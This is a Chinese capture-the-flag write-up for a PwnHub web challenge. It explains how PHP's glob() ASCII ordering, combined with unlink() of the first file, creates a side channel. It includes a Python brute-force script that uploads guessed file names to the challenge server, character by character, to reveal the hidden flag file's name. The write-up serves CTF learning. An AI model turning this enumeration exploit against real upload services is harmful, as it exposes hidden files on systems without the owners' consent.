PwnHub-另一份文件-WriteUP

来源:互联网 发布:企业域名注册 编辑:程序博客网 时间:2024/06/05 22:43

PwnHub-另一份文件-WriteUP

author: River_Heart@Syclover

  • PwnHub-另一份文件-WriteUP
      • author River_HeartSyclover
    • 0x00
    • 0x01
    • 0x02 提示
    • 0x03 分析
    • 0x04 exploit
    • 0x05 我好菜啊TT

0x00 ✪ω✪

这里写图片描述
URL:http://54.223.145.113:88/

0x01 =。=

一开始啥提示也没有,只有一个上传点,当然就想着是要拿shell了,但是穷尽所有知道的姿势后,并没有什么突破。

0x02 提示

后来提示出来了
这里写图片描述
不用拿shell,还给了一段源码

@move_uploaded_file($_FILES['file']['tmp_name'], $dir.$name);echo "上传成功!\n\n文件内容:\n\n";echo file_get_contents($dir.$name);$files = glob($dir . '*'); @unlink($files[0]);

还是有点懵,后来向AK莴苣和学长们学习了下思路,终于明白点了什么。Orz

0x03 分析

问题出在 $files = glob($dir . '*')unlink($files[0]) 这两句
glob函数采用正则的方式去匹配路径下的文件或目录名并返回一个数组。这里规则是*
所以程序完成的工作就是
1. 返回所有$dir目录下的所有文件到$files中。
2. 然后再删除$files数组中的第一个元素指向的文件。
我们来看看glob函数返回的数组的排序规则

$echo > 1.php$echo > 2.php...$echo > a.php$echo > A.php$echo > Z.php$echo > z.php$echo > za.php$echo > zA.php$echo > zaa.php$echo > zaA.php

9.php的内容

<?php$dir = getcwd() . "/";$files = glob($dir . '*');echo var_dump($files);?>

访问9.php可以看到

array(17) {  [0]=>  string(24) "/var/www/html/1.php"  [1]=>  string(24) "/var/www/html/2.php"  ...  [8]=>  string(24) "/var/www/html/9.php"  [9]=>  string(24) "/var/www/html/A.php"  [10]=>  string(24) "/var/www/html/Z.php"  [11]=>  string(24) "/var/www/html/a.php"  [12]=>  string(24) "/var/www/html/z.php"  [13]=>  string(25) "/var/www/html/zA.php"  [14]=>  string(25) "/var/www/html/za.php"  [15]=>  string(26) "/var/www/html/zaA.php"  [16]=>  string(26) "/var/www/html/zaa.php"}

这是按照ascii值的大小来排的序。也就是说每次会删除$dir目录下ascii码值最靠前的文件。
通过提示,flag文件是最高权限账户放的,apache应该没有权限删除flag文件。
也就是说如果我们上传文件名的ascii码值比flag文件的值大的话,就不会被删除了。
这样我们就可以通过判断文件是否可以被访问到而将flag的文件名跑出来了。

0x04 exploit

"""author: River_Heartdate: 2016/12/8"""import requestsheaders = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:44.0) Gecko/20160101 Firefox/55.0',           'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',           'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',           'Accept-Encoding': 'gzip, deflate'           }def upload(filename):    url = 'http://54.223.145.113:88/upload.php'    files = {'file': (filename, 'RiverHeart', 'multipart/form-data')}    count = 0    while count < 2:        try:            response = requests.post(url=url, headers=headers, files=files)            if 'flag' in response.content or 'pwnhub' in response.content:                print '[+] flag found ! '                print response.content                return 'exit'            if 'RiverHeart' in response.content:                return check(filename)        except Exception, e:            print e            count += 1def check(filename):    url = 'http://54.223.145.113:88/upload/' + filename    try:        response = requests.get(url=url, headers=headers)        if response.status_code == 200:            return True        else:            return False    except:        passif __name__ == '__main__':    flag_file_name = ''    flag = ''    strs = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{'    while len(flag_file_name) < 40:        for i in strs:            flag = upload(flag_file_name + i)            if flag == True:                if strs.index(i) > 0:                    flag_file_name += strs[strs.index(i)-1]                else:                    flag_file_name += '0'                break            elif flag == 'exit':                print '[+] flag file is : ', flag_file_name + i                exit()        print flag_file_name

这里写图片描述

0x05 我好菜啊T^T

思路还是不够猥琐呀,还不能得到邀请码。

0 0
原创粉丝点击